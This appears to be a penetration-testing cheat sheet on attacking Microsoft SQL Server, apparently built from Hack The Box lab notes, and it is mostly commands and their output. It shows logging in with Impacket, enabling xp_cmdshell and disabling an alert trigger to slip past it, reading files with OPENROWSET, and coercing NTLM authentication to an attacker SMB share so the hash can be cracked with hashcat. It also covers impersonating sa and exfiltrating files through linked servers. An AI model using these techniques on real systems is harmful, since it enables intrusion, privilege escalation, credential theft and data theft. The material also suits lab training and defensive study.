MSSQL supports two authentication modes, which means that users can be created in Windows or the SQL Server:
Authentication Type
Description
Windows authentication mode
This is the default, often referred to as integrated security because the SQL Server security model is tightly integrated with Windows/Active Directory. Specific Windows user and group accounts are trusted to log in to SQL Server. Windows users who have already been authenticated do not have to present additional credentials.
Mixed mode
Mixed mode supports authentication by Windows/Active Directory accounts and SQL Server. Username and password pairs are maintained within SQL Server.
Metasploit
msf6 auxiliary(scanner/mssql/mssql_ping) > set rhosts 10.129.201.248
rhosts => 10.129.201.248
msf6 auxiliary(scanner/mssql/mssql_ping) > run
[*] 10.129.201.248: - SQL Server information for 10.129.201.248:
[+] 10.129.201.248: - ServerName = SQL-01
[+] 10.129.201.248: - InstanceName = MSSQLSERVER
[+] 10.129.201.248: - IsClustered = No
[+] 10.129.201.248: - Version = 15.0.2000.5
[+] 10.129.201.248: - tcp = 1433
[+] 10.129.201.248: - np = \\SQL-01\pipe\sql\query
[*] 10.129.201.248: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
NXC
RID brute forcing
MSSQL coercion
Abuse trusted links
MSSQL Databases
Default System Database
Description
master
Tracks all system information for an SQL server instance
model
Template database that acts as a structure for every new database created. Any setting changed in the model database will be reflected in any new database created after changes to the model database
msdb
The SQL Server Agent uses this database to schedule jobs & alerts
tempdb
Stores temporary objects
resource
Read-only database containing system objects included with SQL server
:~$ curl -i "http://localhost:5055/login" -X POST -d "email=💩&password=foo"
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Tue, 26 Nov 2024 02:56:43 GMT
Server: Kestrel
Transfer-Encoding: chunked
"Logged in user ID 9"
Automated Exploitation
Linux
Mssqlclient.py
$ mssqlclient.py -p 1433 julio@10.129.203.7
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
Password: MyPassword!
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (120 7208)
[!] Press help for extra shell commands
SQL>
python3 mssqlclient.py Administrator@10.129.201.248 -windows-auth
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL-01): Line 1: Changed database context to 'master'.
[*] INFO(SQL-01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL> select name from sys.databases
name
--------------------------------------------------------------------------------------
master
tempdb
model
msdb
Transactions
When using Windows Authentication, we need to specify the domain name or the hostname of the target machine. If we don't specify a domain or hostname, it will assume SQL Authentication and authenticate against the users created in the SQL Server. Instead, if we define the domain or hostname, it will use Windows Authentication. If we are targetting a local account, we can use SERVERNAME\\accountname or .\\accountname.
0xss0rz@htb[/htb]$ mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
sqsh
sqsh -S 10.129.20.13 -U username -P Password123
$ sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h
sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
1>
SQL (ILF-SQL-01\backdoor dbo@master)> select name from sys.databases
name
---------
master
tempdb
model
msdb
Employees
SQL (ILF-SQL-01\backdoor dbo@master)> USE Employees
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: Employees
[*] INFO(ILF-SQL-01): Line 1: Changed database context to 'Employees'.
SQL (ILF-SQL-01\backdoor dbo@Employees)> select * from employees.INFORMATION_SCHEMA.TABLES;
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
------------- ------------ -------------------- ----------
Employees dbo employee_information b'BASE TABLE'
SQL (ILF-SQL-01\backdoor dbo@Employees)> SELECT * FROM dbo.employee_information;
employee_id first_name last_name home_address country phone_number ssn job_title start_date salary
----------- ---------- ----------- ------------------------ ------- --------------- -------------- ----------------------- ---------- ----------
1.0 b'Emma' b'Williams' b'111 street drive lane' b'US' b'111-123-1115' b'123-22-1111' b'HR Director' 2020-01-11 4294967296000000000
[REDACTED]
SQL (ILF-SQL-01\backdoor dbo@Employees)>
XP_CMDSHELL - command execution
1> xp_cmdshell 'whoami'
2> GO
output
-----------------------------
no service\mssql$sqlexpress
NULL
(2 rows affected)
Enable xp_cmdshell
If xp_cmdshell is not enabled, we can enable it, if we have the appropriate privileges, using the following command:
-- To allow advanced options to be changed.
EXECUTE sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXECUTE sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
With mssqlclient.py
Note: We don't actually have to type RECONFIGURE as Impacket does this for us.
SQL> enable_xp_cmdshell
[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
If The transaction ended in the trigger disable trigger
SQL (hacker dbo@flag)> enable_xp_cmdshell
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[-] ERROR(COMPATIBILITY\POO_PUBLIC): Line 11: Attempt to enable xp_cmdshell detected. Database Administrators will be notified!
[-] ERROR(COMPATIBILITY\POO_PUBLIC): Line 181: The transaction ended in the trigger. The batch has been aborted.
SQL (hacker dbo@flag)> select name from sys.server_triggers;
name
-----------------
ALERT_xp_cmdshell
SQL (hacker dbo@flag)> disable trigger ALERT_xp_cmdshell on all server
SQL (hacker dbo@flag)> enable_xp_cmdshell
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
xp_cmdshell whoami /priv
output
--------------------------------------------------------------------------------
NULL
PRIVILEGES INFORMATION
----------------------
NULL
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
NULL
To write files using MSSQL, we need to enable Ole Automation Procedures, which requires admin privileges, and then execute some stored procedures to create the file:
1> sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO
1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO
BulkColumn
-----------------------------------------------------------------------------
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to hostnames. Each
# entry should be kept on an individual line. The IP address should
(1 rows affected)
mssqlclient
SQL (INLANEFREIGHT\damundsen dbo@master)> SELECT * FROM OPENROWSET (BULK 'C:\Users\damundsen\Desktop\flag.txt.', SINGLE_CLOB) as correlation_name;
1> EXEC master..xp_dirtree '\\10.10.110.17\share\'
2> GO
subdirectory depth
--------------- -----------
1> EXEC master..xp_subdirs '\\10.10.110.17\share\'
2> GO
HResult 0x55F6, Level 16, State 1
xp_subdirs could not access '\\10.10.110.17\share\*.*': FindFirstFile() returned error 5, 'Access is denied.'
Cracking - Hashes
hashcat -m 5600 mssqlsvc_hash passwords.list
Metasploit
Enum:
msf6 auxiliary(admin/mssql/mssql_enum)
set database master
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
Do not use "set SMBPROXY tun0"
Use IP: set SMBPROXY 10.10.14.9
Write Up HTB - Escape:
Or Zephyr:
Impersonate Existing Users
Identify Users that We Can Impersonate
1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO
name
-----------------------------------------------
sa
ben
valentin
(3 rows affected)
With mssqlclient.py:
SQL (WIN-HARD\Fiona guest@master)> SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
name
-----
john
simon
To get an idea of privilege escalation possibilities, let's verify if our current user has the sysadmin role:
Verifying our Current User and Role
1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go
-----------
julio
(1 rows affected)
-----------
0
(1 rows affected)
As the returned value 0 indicates, we do not have the sysadmin role, but we can impersonate the sa user.
Impersonating the SA User
1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO
-----------
sa
(1 rows affected)
-----------
1
(1 rows affected)
Note: It's recommended to run EXECUTE AS LOGIN within the master DB, because all users, by default, have access to that database. If a user you are trying to impersonate doesn't have access to the DB you are connecting to it will present an error. Try to move to the master DB using USE master
mssqlclient.py:
SQL (WIN-HARD\Fiona guest@master)> execute as login = 'john'
SQL (john guest@master)> select system_user
----
john
Communicate with Other Databases with MSSQL - Linked servers
Identify linked Servers in MSSQL
1> SELECT srvname, isremote FROM sysservers
2> GO
srvname isremote
----------------------------------- --------
DESKTOP-MFERMN4\SQLEXPRESS 1
10.0.0.12\SQLEXPRESS 0
(2 rows affected)
1 means is a remote server, and 0 is a linked server.
The EXECUTE statement can be used to send pass-through commands to linked servers. We add our command between parenthesis and specify the linked server between square brackets ([ ]).
1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
2> GO
------------------------------ ------------------------------ ------------------------------ -----------
DESKTOP-0L9D4KA\SQLEXPRESS Microsoft SQL Server 2019 (RTM sa_remote 1
(1 rows affected)
If we need to use quotes in our query to the linked server, we need to use single double quotes to escape the single quote. To run multiples commands at once we can divide them up with a semi colon (;).
Exfiltrate file content:
SQL (john guest@master)> SELECT srvname, isremote FROM sysservers
srvname isremote
--------------------- --------
WINSRV02\SQLEXPRESS 1
LOCAL.TEST.LINKED.SRV 0
SQL (john guest@master)> EXEC [LOCAL.TEST.LINKED.SRV].master.dbo.sp_configure 'show advanced options', 1;
[*] INFO(WIN-HARD\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (john guest@master)> EXEC ('RECONFIGURE') AT [LOCAL.TEST.LINKED.SRV];
SQL (john guest@master)> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [LOCAL.TEST.LINKED.SRV]
- - - -
1 1 1 1
SQL (john guest@master)> EXECUTE('EXEC sp_configure ''show advanced options'', 1;') AT [LOCAL.TEST.LINKED.SRV]
[*] INFO(WIN-HARD\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (john guest@master)> EXECUTE('RECONFIGURE') AT [LOCAL.TEST.LINKED.SRV]
SQL (john guest@master)> EXECUTE('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LOCAL.TEST.LINKED.SRV]
[*] INFO(WIN-HARD\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (john guest@master)> EXECUTE('RECONFIGURE') AT [LOCAL.TEST.LINKED.SRV]
SQL (john guest@master)>
SQL (john guest@master)> EXECUTE('xp_cmdshell "type C:\Users\Administrator\Desktop\flag.txt >c:\users\fiona\desktop\x.txt"') AT [LOCAL.TEST.LINKED.SRV]
output
------
NULL
select * from openquery("db-sql1",'select * from openquery("db-sql2","select * from master..sysservers")')
select * fromopenquery("192.168.23.25 ",'select * from openquery("db-sqlsrv",''select @@version as version'')')
Executing commands
Option 1: xp_cmdshell is enabled on the target server
Option 2: if rpcout is enabled, xp_cmdshell can be enabled using EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "target-sql"
Without -QueryTarget, the command tries to us xp_cmdshell on every link of the chain
# Authenticating using Windows credentials
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# Authenticating using Local credentials
SQLRecon.exe -a Local -s SQL02 -d master -u sa -p Password123 -m whoami
# Authenticating using Azure AD credentials
SQLRecon.exe -a azure -s azure.domain.com -d master -r domain.com -u skawa -p Password123 -m whoami
# Run whoami
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# View databases
SQLRecon.exe -a Windows -s SQL01 -d master -m databases
# View tables
SQLRecon.exe -a Windows -s SQL01 -d master -m tables -o AdventureWorksLT2019
